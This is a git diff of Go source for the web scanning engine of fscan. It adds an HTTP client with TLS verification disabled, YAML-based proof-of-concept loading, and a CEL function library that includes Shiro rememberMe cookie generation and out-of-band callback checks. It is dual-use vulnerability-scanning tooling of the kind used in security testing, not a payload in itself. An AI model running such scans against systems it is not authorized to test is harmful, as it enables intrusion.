+ // 替换Path和Body中的变量
+ rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue)
+ rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue)
+ }
+
+ // 构建完整请求路径
+ if oReq.URL.Path != "" && oReq.URL.Path != "/" {
+ req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
+ } else {
+ req.Url.Path = rule.Path
+ }
+
+ // URL编码处理
+ req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
+
+ // 创建新的HTTP请求
+ reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
+ newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body))
+ if err != nil {
+ return false, fmt.Errorf("HTTP请求错误: %v", err)
+ }
+ defer func() { newRequest = nil }()
+
+ // 设置请求头
+ newRequest.Header = oReq.Header.Clone()
+ for key, value := range rule.Headers {
+ newRequest.Header.Set(key, value)
+ }
+
+ // 发送请求
+ resp, err := DoRequest(newRequest, rule.FollowRedirects)
+ if err != nil {
+ return false, fmt.Errorf("请求发送错误: %v", err)
+ }
+
+ // 更新响应到变量映射
+ variableMap["response"] = resp
+
+ // 执行搜索规则
+ if rule.Search != "" {
+ searchContent := GetHeader(resp.Headers) + string(resp.Body)
+ result := doSearch(rule.Search, searchContent)
+
+ if result != nil && len(result) > 0 {
+ // 将搜索结果添加到变量映射
+ for key, value := range result {
+ variableMap[key] = value
+ }
+ } else {
+ return false, nil
+ }
+ }
+
+ // 执行CEL表达式
+ out, err := Evaluate(env, rule.Expression, variableMap)
+ if err != nil {
+ if strings.Contains(err.Error(), "Syntax error") {
+ common.LogError(fmt.Sprintf("CEL语法错误 [%s]: %v", rule.Expression, err))
+ }
+ return false, err
+ }
+
+ // 检查表达式执行结果
+ if fmt.Sprintf("%v", out) == "false" {
+ return false, nil
+ }
+
+ return true, nil
+}
+
+// cloneRules 深度复制Rules结构体
+// 参数:
+// - tags: 原始Rules结构体
+// 返回: 复制后的新Rules结构体
+func cloneRules(tags Rules) Rules {
+ return Rules{
+ Method: tags.Method,
+ Path: tags.Path,
+ Body: tags.Body,
+ Search: tags.Search,
+ FollowRedirects: tags.FollowRedirects,
+ Expression: tags.Expression,
+ Headers: cloneMap(tags.Headers),
+ Continue: tags.Continue,
+ }
+}
+
+// cloneMap 深度复制字符串映射
+func cloneMap(tags map[string]string) map[string]string {
+ if tags == nil {
+ return nil
+ }
+ cloneTags := make(map[string]string, len(tags))
+ for key, value := range tags {
+ cloneTags[key] = value
+ }
+ return cloneTags
+}
+
+// evalset 执行CEL表达式并处理特殊类型结果
+func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
+ out, err := Evaluate(env, expression, variableMap)
+ if err != nil {
+ variableMap[k] = expression
+ return err, expression
+ }
+
+ // 根据不同类型处理输出
+ switch value := out.Value().(type) {
+ case *UrlType:
+ variableMap[k] = UrlTypeToString(value)
+ case int64:
+ variableMap[k] = int(value)
+ default:
+ variableMap[k] = fmt.Sprintf("%v", out)
+ }
+
+ return nil, fmt.Sprintf("%v", variableMap[k])
+}
+
+// evalset1 执行CEL表达式的简化版本
+func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
+ out, err := Evaluate(env, expression, variableMap)
+ if err != nil {
+ variableMap[k] = expression
+ } else {
+ variableMap[k] = fmt.Sprintf("%v", out)
+ }
+ return err, fmt.Sprintf("%v", variableMap[k])
+}
+
+// CheckInfoPoc 检查POC信息并返回别名
+func CheckInfoPoc(infostr string) string {
+ for _, poc := range info.PocDatas {
+ if strings.Contains(infostr, poc.Name) {
+ return poc.Alias
+ }
+ }
+ return ""
+}
+
+// GetHeader 将HTTP头转换为字符串格式
+func GetHeader(header map[string]string) string {
+ var builder strings.Builder
+ for name, values := range header {
+ builder.WriteString(fmt.Sprintf("%s: %s\n", name, values))
+ }
+ builder.WriteString("\r\n")
+ return builder.String()
+}
diff --git a/webscan/lib/Client.go b/webscan/lib/Client.go
new file mode 100644
index 0000000..d5be2f5
--- /dev/null
+++ b/webscan/lib/Client.go
@@ -0,0 +1,320 @@
+package lib
+
+import (
+ "context"
+ "crypto/tls"
+ "embed"
+ "errors"
+ "fmt"
+ "github.com/shadow1ng/fscan/common"
+ "github.com/shadow1ng/fscan/common/proxy"
+ "gopkg.in/yaml.v2"
+ "net"
+ "net/http"
+ "net/url"
+ "os"
+ "strings"
+ "time"
+)
+
+// 全局HTTP客户端变量
+var (
+ Client *http.Client // 标准HTTP客户端
+ ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端
+ dialTimout = 5 * time.Second // 连接超时时间
+ keepAlive = 5 * time.Second // 连接保持时间
+)
+
+// Inithttp 初始化HTTP客户端配置
+func Inithttp() {
+ // 设置默认并发数
+ if common.PocNum == 0 {
+ common.PocNum = 20
+ }
+ // 设置默认超时时间
+ if common.WebTimeout == 0 {
+ common.WebTimeout = 5
+ }
+
+ // 初始化HTTP客户端
+ err := InitHttpClient(common.PocNum, common.HttpProxy, time.Duration(common.WebTimeout)*time.Second)
+ if err != nil {
+ panic(err)
+ }
+}
+
+// InitHttpClient 创建HTTP客户端
+func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
+ type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
+
+ // 配置基础连接参数
+ dialer := &net.Dialer{
+ Timeout: dialTimout,
+ KeepAlive: keepAlive,
+ }
+
+ // 配置Transport参数
+ tr := &http.Transport{
+ DialContext: dialer.DialContext,
+ MaxConnsPerHost: 5,
+ MaxIdleConns: 0,
+ MaxIdleConnsPerHost: ThreadsNum * 2,
+ IdleConnTimeout: keepAlive,
+ TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
+ TLSHandshakeTimeout: 5 * time.Second,
+ DisableKeepAlives: false,
+ }
+
+ // 配置Socks5代理
+ if common.Socks5Proxy != "" {
+ proxyConfig := &proxy.ProxyConfig{
+ Type: proxy.ProxyTypeSOCKS5,
+ Address: common.Socks5Proxy,
+ Timeout: time.Second * 10,
+ }
+ proxyManager := proxy.NewProxyManager(proxyConfig)
+ proxyDialer, err := proxyManager.GetDialer()
+ if err != nil {
+ return err
+ }
+ tr.DialContext = proxyDialer.DialContext
+ } else if DownProxy != "" {
+ // 处理其他代理配置
+ if DownProxy == "1" {
+ DownProxy = "http://127.0.0.1:8080"
+ } else if DownProxy == "2" {
+ DownProxy = "socks5://127.0.0.1:1080"
+ } else if !strings.Contains(DownProxy, "://") {
+ DownProxy = "http://127.0.0.1:" + DownProxy
+ }
+
+ // 验证代理类型
+ if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
+ return errors.New("不支持的代理类型")
+ }
+
+ // 解析代理URL
+ u, err := url.Parse(DownProxy)
+ if err != nil {
+ return err
+ }
+ tr.Proxy = http.ProxyURL(u)
+ }
+
+ // 创建标准HTTP客户端
+ Client = &http.Client{
+ Transport: tr,
+ Timeout: Timeout,
+ }
+
+ // 创建不跟随重定向的HTTP客户端
+ ClientNoRedirect = &http.Client{
+ Transport: tr,
+ Timeout: Timeout,
+ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
+ }
+
+ return nil
+}
+
+// Poc 定义漏洞检测配置结构
+type Poc struct {
+ Name string `yaml:"name"` // POC名称
+ Set StrMap `yaml:"set"` // 单值配置映射
+ Sets ListMap `yaml:"sets"` // 列表值配置映射
+ Rules []Rules `yaml:"rules"` // 检测规则列表
+ Groups RuleMap `yaml:"groups"` // 规则组映射
+ Detail Detail `yaml:"detail"` // 漏洞详情
+}
+
+// MapSlice 用于解析YAML的通用映射类型
+type MapSlice = yaml.MapSlice
+
+// 自定义映射类型
+type (
+ StrMap []StrItem // 字符串键值对映射
+ ListMap []ListItem // 字符串键列表值映射
+ RuleMap []RuleItem // 字符串键规则列表映射
+)
+
+// 映射项结构定义
+type (
+ // StrItem 字符串键值对
+ StrItem struct {
+ Key string // 键名
+ Value string // 值
+ }
+
+ // ListItem 字符串键列表值对
+ ListItem struct {
+ Key string // 键名
+ Value []string // 值列表
+ }
+
+ // RuleItem 字符串键规则列表对
+ RuleItem struct {
+ Key string // 键名
+ Value []Rules // 规则列表
+ }
+)
+
+// UnmarshalYAML 实现StrMap的YAML解析接口
+func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
+ // 临时使用MapSlice存储解析结果
+ var tmp yaml.MapSlice
+ if err := unmarshal(&tmp); err != nil {
+ return err
+ }
+
+ // 转换为StrMap结构
+ for _, one := range tmp {
+ key, value := one.Key.(string), one.Value.(string)
+ *r = append(*r, StrItem{key, value})
+ }
+
+ return nil
+}
+
+// UnmarshalYAML 实现RuleMap的YAML解析接口
+// 参数:
+// - unmarshal: YAML解析函数
+//
+// 返回:
+// - error: 解析错误
+func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
+ // 使用MapSlice保持键的顺序
+ var tmp1 yaml.MapSlice
+ if err := unmarshal(&tmp1); err != nil {
+ return err
+ }
+
+ // 解析规则内容
+ var tmp = make(map[string][]Rules)
+ if err := unmarshal(&tmp); err != nil {
+ return err
+ }
+
+ // 按顺序转换为RuleMap结构
+ for _, one := range tmp1 {
+ key := one.Key.(string)
+ value := tmp[key]
+ *r = append(*r, RuleItem{key, value})
+ }
+ return nil
+}
+
+// UnmarshalYAML 实现ListMap的YAML解析接口
+// 参数:
+// - unmarshal: YAML解析函数
+//
+// 返回:
+// - error: 解析错误
+func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
+ // 解析YAML映射
+ var tmp yaml.MapSlice
+ if err := unmarshal(&tmp); err != nil {
+ return err
+ }
+
+ // 转换为ListMap结构
+ for _, one := range tmp {
+ key := one.Key.(string)
+ var value []string
+ // 将接口类型转换为字符串
+ for _, val := range one.Value.([]interface{}) {
+ v := fmt.Sprintf("%v", val)
+ value = append(value, v)
+ }
+ *r = append(*r, ListItem{key, value})
+ }
+ return nil
+}
+
+// Rules 定义POC检测规则结构
+type Rules struct {
+ Method string `yaml:"method"` // HTTP请求方法
+ Path string `yaml:"path"` // 请求路径
+ Headers map[string]string `yaml:"headers"` // 请求头
+ Body string `yaml:"body"` // 请求体
+ Search string `yaml:"search"` // 搜索模式
+ FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向
+ Expression string `yaml:"expression"` // 匹配表达式
+ Continue bool `yaml:"continue"` // 是否继续执行
+}
+
+// Detail 定义POC详情结构
+type Detail struct {
+ Author string `yaml:"author"` // POC作者
+ Links []string `yaml:"links"` // 相关链接
+ Description string `yaml:"description"` // POC描述
+ Version string `yaml:"version"` // POC版本
+}
+
+// LoadMultiPoc 加载多个POC文件
+func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
+ var pocs []*Poc
+ // 遍历选中的POC文件
+ for _, f := range SelectPoc(Pocs, pocname) {
+ if p, err := LoadPoc(f, Pocs); err == nil {
+ pocs = append(pocs, p)
+ } else {
+ fmt.Printf("POC加载失败 %s: %v\n", f, err)
+ }
+ }
+ return pocs
+}
+
+// LoadPoc 从内嵌文件系统加载单个POC
+func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
+ p := &Poc{}
+ // 读取POC文件内容
+ yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
+ if err != nil {
+ fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err)
+ return nil, err
+ }
+
+ // 解析YAML内容
+ err = yaml.Unmarshal(yamlFile, p)
+ if err != nil {
+ fmt.Printf("POC解析失败 %s: %v\n", fileName, err)
+ return nil, err
+ }
+ return p, err
+}
+
+// SelectPoc 根据名称关键字选择POC文件
+func SelectPoc(Pocs embed.FS, pocname string) []string {
+ entries, err := Pocs.ReadDir("pocs")
+ if err != nil {
+ fmt.Printf("读取POC目录失败: %v\n", err)
+ }
+
+ var foundFiles []string
+ // 查找匹配关键字的POC文件
+ for _, entry := range entries {
+ if strings.Contains(entry.Name(), pocname) {
+ foundFiles = append(foundFiles, entry.Name())
+ }
+ }
+ return foundFiles
+}
+
+// LoadPocbyPath 从文件系统路径加载POC
+func LoadPocbyPath(fileName string) (*Poc, error) {
+ p := &Poc{}
+ // 读取POC文件内容
+ data, err := os.ReadFile(fileName)
+ if err != nil {
+ fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err)
+ return nil, err
+ }
+
+ // 解析YAML内容
+ err = yaml.Unmarshal(data, p)
+ if err != nil {
+ fmt.Printf("POC解析失败 %s: %v\n", fileName, err)
+ return nil, err
+ }
+ return p, err
+}
diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go
new file mode 100644
index 0000000..25e93c6
--- /dev/null
+++ b/webscan/lib/Eval.go
@@ -0,0 +1,795 @@
+package lib
+
+import (
+ "bytes"
+ "compress/gzip"
+ "crypto/md5"
+ "encoding/base64"
+ "encoding/hex"
+ "fmt"
+ "github.com/google/cel-go/cel"
+ "github.com/google/cel-go/checker/decls"
+ "github.com/google/cel-go/common/types"
+ "github.com/google/cel-go/common/types/ref"
+ "github.com/google/cel-go/interpreter/functions"
+ "github.com/shadow1ng/fscan/common"
+ exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
+ "io"
+ "math/rand"
+ "net/http"
+ "net/url"
+ "regexp"
+ "strconv"
+ "strings"
+ "time"
+)
+
+// NewEnv 创建一个新的 CEL 环境
+func NewEnv(c *CustomLib) (*cel.Env, error) {
+ return cel.NewEnv(cel.Lib(c))
+}
+
+// Evaluate 评估 CEL 表达式
+func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
+ // 空表达式默认返回 true
+ if expression == "" {
+ return types.Bool(true), nil
+ }
+
+ // 编译表达式
+ ast, issues := env.Compile(expression)
+ if issues.Err() != nil {
+ return nil, fmt.Errorf("表达式编译错误: %w", issues.Err())
+ }
+
+ // 创建程序
+ program, err := env.Program(ast)
+ if err != nil {
+ return nil, fmt.Errorf("程序创建错误: %w", err)
+ }
+
+ // 执行评估
+ result, _, err := program.Eval(params)
+ if err != nil {
+ return nil, fmt.Errorf("表达式评估错误: %w", err)
+ }
+
+ return result, nil
+}
+
+// UrlTypeToString 将 TargetURL 结构体转换为字符串
+func UrlTypeToString(u *UrlType) string {
+ var builder strings.Builder
+
+ // 处理 scheme 部分
+ if u.Scheme != "" {
+ builder.WriteString(u.Scheme)
+ builder.WriteByte(':')
+ }
+
+ // 处理 host 部分
+ if u.Scheme != "" || u.Host != "" {
+ if u.Host != "" || u.Path != "" {
+ builder.WriteString("//")
+ }
+ if host := u.Host; host != "" {
+ builder.WriteString(host)
+ }
+ }
+
+ // 处理 path 部分
+ path := u.Path
+ if path != "" && path[0] != '/' && u.Host != "" {
+ builder.WriteByte('/')
+ }
+
+ // 处理相对路径
+ if builder.Len() == 0 {
+ if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
+ builder.WriteString("./")
+ }
+ }
+ builder.WriteString(path)
+
+ // 处理查询参数
+ if u.Query != "" {
+ builder.WriteByte('?')
+ builder.WriteString(u.Query)
+ }
+
+ // 处理片段标识符
+ if u.Fragment != "" {
+ builder.WriteByte('#')
+ builder.WriteString(u.Fragment)
+ }
+
+ return builder.String()
+}
+
+type CustomLib struct {
+ envOptions []cel.EnvOption
+ programOptions []cel.ProgramOption
+}
+
+func NewEnvOption() CustomLib {
+ c := CustomLib{}
+
+ c.envOptions = []cel.EnvOption{
+ cel.Container("lib"),
+ cel.Types(
+ &UrlType{},
+ &Request{},
+ &Response{},
+ &Reverse{},
+ ),
+ cel.Declarations(
+ decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
+ decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
+ decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
+ ),
+ cel.Declarations(
+ // functions
+ decls.NewFunction("bcontains",
+ decls.NewInstanceOverload("bytes_bcontains_bytes",
+ []*exprpb.Type{decls.Bytes, decls.Bytes},
+ decls.Bool)),
+ decls.NewFunction("bmatches",
+ decls.NewInstanceOverload("string_bmatches_bytes",
+ []*exprpb.Type{decls.String, decls.Bytes},
+ decls.Bool)),
+ decls.NewFunction("md5",
+ decls.NewOverload("md5_string",
+ []*exprpb.Type{decls.String},
+ decls.String)),
+ decls.NewFunction("randomInt",
+ decls.NewOverload("randomInt_int_int",
+ []*exprpb.Type{decls.Int, decls.Int},
+ decls.Int)),
+ decls.NewFunction("randomLowercase",
+ decls.NewOverload("randomLowercase_int",
+ []*exprpb.Type{decls.Int},
+ decls.String)),
+ decls.NewFunction("randomUppercase",
+ decls.NewOverload("randomUppercase_int",
+ []*exprpb.Type{decls.Int},
+ decls.String)),
+ decls.NewFunction("randomString",
+ decls.NewOverload("randomString_int",
+ []*exprpb.Type{decls.Int},
+ decls.String)),
+ decls.NewFunction("base64",
+ decls.NewOverload("base64_string",
+ []*exprpb.Type{decls.String},
+ decls.String)),
+ decls.NewFunction("base64",
+ decls.NewOverload("base64_bytes",
+ []*exprpb.Type{decls.Bytes},
+ decls.String)),
+ decls.NewFunction("base64Decode",
+ decls.NewOverload("base64Decode_string",
+ []*exprpb.Type{decls.String},
+ decls.String)),
+ decls.NewFunction("base64Decode",
+ decls.NewOverload("base64Decode_bytes",
+ []*exprpb.Type{decls.Bytes},
+ decls.String)),
+ decls.NewFunction("urlencode",
+ decls.NewOverload("urlencode_string",
+ []*exprpb.Type{decls.String},
+ decls.String)),
+ decls.NewFunction("urlencode",
+ decls.NewOverload("urlencode_bytes",
+ []*exprpb.Type{decls.Bytes},
+ decls.String)),
+ decls.NewFunction("urldecode",
+ decls.NewOverload("urldecode_string",
+ []*exprpb.Type{decls.String},
+ decls.String)),
+ decls.NewFunction("urldecode",
+ decls.NewOverload("urldecode_bytes",
+ []*exprpb.Type{decls.Bytes},
+ decls.String)),
+ decls.NewFunction("substr",
+ decls.NewOverload("substr_string_int_int",
+ []*exprpb.Type{decls.String, decls.Int, decls.Int},
+ decls.String)),
+ decls.NewFunction("wait",
+ decls.NewInstanceOverload("reverse_wait_int",
+ []*exprpb.Type{decls.Any, decls.Int},
+ decls.Bool)),
+ decls.NewFunction("icontains",
+ decls.NewInstanceOverload("icontains_string",
+ []*exprpb.Type{decls.String, decls.String},
+ decls.Bool)),
+ decls.NewFunction("TDdate",
+ decls.NewOverload("tongda_date",
+ []*exprpb.Type{},
+ decls.String)),
+ decls.NewFunction("shirokey",
+ decls.NewOverload("shiro_key",
+ []*exprpb.Type{decls.String, decls.String},
+ decls.String)),
+ decls.NewFunction("startsWith",
+ decls.NewInstanceOverload("startsWith_bytes",
+ []*exprpb.Type{decls.Bytes, decls.Bytes},
+ decls.Bool)),
+ decls.NewFunction("istartsWith",
+ decls.NewInstanceOverload("startsWith_string",
+ []*exprpb.Type{decls.String, decls.String},
+ decls.Bool)),
+ decls.NewFunction("hexdecode",
+ decls.NewInstanceOverload("hexdecode",
+ []*exprpb.Type{decls.String},
+ decls.Bytes)),
+ ),
+ }
+ c.programOptions = []cel.ProgramOption{
+ cel.Functions(
+ &functions.Overload{
+ Operator: "bytes_bcontains_bytes",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
+ }
+ v2, ok := rhs.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
+ }
+ return types.Bool(bytes.Contains(v1, v2))
+ },
+ },
+ &functions.Overload{
+ Operator: "string_bmatches_bytes",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.String)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
+ }
+ v2, ok := rhs.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
+ }
+ ok, err := regexp.Match(string(v1), v2)
+ if err != nil {
+ return types.NewErr("%v", err)
+ }
+ return types.Bool(ok)
+ },
+ },
+ &functions.Overload{
+ Operator: "md5_string",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.String)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
+ }
+ return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
+ },
+ },
+ &functions.Overload{
+ Operator: "randomInt_int_int",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ from, ok := lhs.(types.Int)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
+ }
+ to, ok := rhs.(types.Int)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
+ }
+ min, max := int(from), int(to)
+ return types.Int(rand.Intn(max-min) + min)
+ },
+ },
+ &functions.Overload{
+ Operator: "randomLowercase_int",
+ Unary: func(value ref.Val) ref.Val {
+ n, ok := value.(types.Int)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
+ }
+ return types.String(randomLowercase(int(n)))
+ },
+ },
+ &functions.Overload{
+ Operator: "randomUppercase_int",
+ Unary: func(value ref.Val) ref.Val {
+ n, ok := value.(types.Int)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
+ }
+ return types.String(randomUppercase(int(n)))
+ },
+ },
+ &functions.Overload{
+ Operator: "randomString_int",
+ Unary: func(value ref.Val) ref.Val {
+ n, ok := value.(types.Int)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
+ }
+ return types.String(randomString(int(n)))
+ },
+ },
+ &functions.Overload{
+ Operator: "base64_string",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.String)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
+ }
+ return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
+ },
+ },
+ &functions.Overload{
+ Operator: "base64_bytes",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
+ }
+ return types.String(base64.StdEncoding.EncodeToString(v))
+ },
+ },
+ &functions.Overload{
+ Operator: "base64Decode_string",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.String)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
+ }
+ decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
+ if err != nil {
+ return types.NewErr("%v", err)
+ }
+ return types.String(decodeBytes)
+ },
+ },
+ &functions.Overload{
+ Operator: "base64Decode_bytes",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
+ }
+ decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
+ if err != nil {
+ return types.NewErr("%v", err)
+ }
+ return types.String(decodeBytes)
+ },
+ },
+ &functions.Overload{
+ Operator: "urlencode_string",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.String)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
+ }
+ return types.String(url.QueryEscape(string(v)))
+ },
+ },
+ &functions.Overload{
+ Operator: "urlencode_bytes",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
+ }
+ return types.String(url.QueryEscape(string(v)))
+ },
+ },
+ &functions.Overload{
+ Operator: "urldecode_string",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.String)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
+ }
+ decodeString, err := url.QueryUnescape(string(v))
+ if err != nil {
+ return types.NewErr("%v", err)
+ }
+ return types.String(decodeString)
+ },
+ },
+ &functions.Overload{
+ Operator: "urldecode_bytes",
+ Unary: func(value ref.Val) ref.Val {
+ v, ok := value.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
+ }
+ decodeString, err := url.QueryUnescape(string(v))
+ if err != nil {
+ return types.NewErr("%v", err)
+ }
+ return types.String(decodeString)
+ },
+ },
+ &functions.Overload{
+ Operator: "substr_string_int_int",
+ Function: func(values ...ref.Val) ref.Val {
+ if len(values) == 3 {
+ str, ok := values[0].(types.String)
+ if !ok {
+ return types.NewErr("invalid string to 'substr'")
+ }
+ start, ok := values[1].(types.Int)
+ if !ok {
+ return types.NewErr("invalid start to 'substr'")
+ }
+ length, ok := values[2].(types.Int)
+ if !ok {
+ return types.NewErr("invalid length to 'substr'")
+ }
+ runes := []rune(str)
+ if start < 0 || length < 0 || int(start+length) > len(runes) {
+ return types.NewErr("invalid start or length to 'substr'")
+ }
+ return types.String(runes[start : start+length])
+ } else {
+ return types.NewErr("too many arguments to 'substr'")
+ }
+ },
+ },
+ &functions.Overload{
+ Operator: "reverse_wait_int",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ reverse, ok := lhs.Value().(*Reverse)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
+ }
+ timeout, ok := rhs.Value().(int64)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
+ }
+ return types.Bool(reverseCheck(reverse, timeout))
+ },
+ },
+ &functions.Overload{
+ Operator: "icontains_string",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.String)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
+ }
+ v2, ok := rhs.(types.String)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
+ }
+ // 不区分大小写包含
+ return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
+ },
+ },
+ &functions.Overload{
+ Operator: "tongda_date",
+ Function: func(value ...ref.Val) ref.Val {
+ return types.String(time.Now().Format("0601"))
+ },
+ },
+ &functions.Overload{
+ Operator: "shiro_key",
+ Binary: func(key ref.Val, mode ref.Val) ref.Val {
+ v1, ok := key.(types.String)
+ if !ok {
+ return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
+ }
+ v2, ok := mode.(types.String)
+ if !ok {
+ return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
+ }
+ cookie := GetShrioCookie(string(v1), string(v2))
+ if cookie == "" {
+ return types.NewErr("%v", "key b64decode failed")
+ }
+ return types.String(cookie)
+ },
+ },
+ &functions.Overload{
+ Operator: "startsWith_bytes",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
+ }
+ v2, ok := rhs.(types.Bytes)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
+ }
+ // 不区分大小写包含
+ return types.Bool(bytes.HasPrefix(v1, v2))
+ },
+ },
+ &functions.Overload{
+ Operator: "startsWith_string",
+ Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.String)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
+ }
+ v2, ok := rhs.(types.String)
+ if !ok {
+ return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
+ }
+ // 不区分大小写包含
+ return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
+ },
+ },
+ &functions.Overload{
+ Operator: "hexdecode",
+ Unary: func(lhs ref.Val) ref.Val {
+ v1, ok := lhs.(types.String)
+ if !ok {
+ return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
+ }
+ out, err := hex.DecodeString(string(v1))
+ if err != nil {
+ return types.ValOrErr(lhs, "hexdecode error: %v", err)
+ }
+ // 不区分大小写包含
+ return types.Bytes(out)
+ },
+ },
+ ),
+ }
+ return c
+}
+
+// CompileOptions 返回环境编译选项
+func (c *CustomLib) CompileOptions() []cel.EnvOption {
+ return c.envOptions
+}
+
+// ProgramOptions 返回程序运行选项
+func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
+ return c.programOptions
+}
+
+// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明
+func (c *CustomLib) UpdateCompileOptions(args StrMap) {
+ for _, item := range args {
+ key, value := item.Key, item.Value
+
+ // 根据函数前缀确定变量类型
+ var declaration *exprpb.Decl
+ switch {
+ case strings.HasPrefix(value, "randomInt"):
+ // randomInt 函数返回整型
+ declaration = decls.NewIdent(key, decls.Int, nil)
+ case strings.HasPrefix(value, "newReverse"):
+ // newReverse 函数返回 Reverse 对象
+ declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil)
+ default:
+ // 默认声明为字符串类型
+ declaration = decls.NewIdent(key, decls.String, nil)
+ }
+
+ c.envOptions = append(c.envOptions, cel.Declarations(declaration))
+ }
+}
+
+// 初始化随机数生成器
+var randSource = rand.New(rand.NewSource(time.Now().Unix()))
+
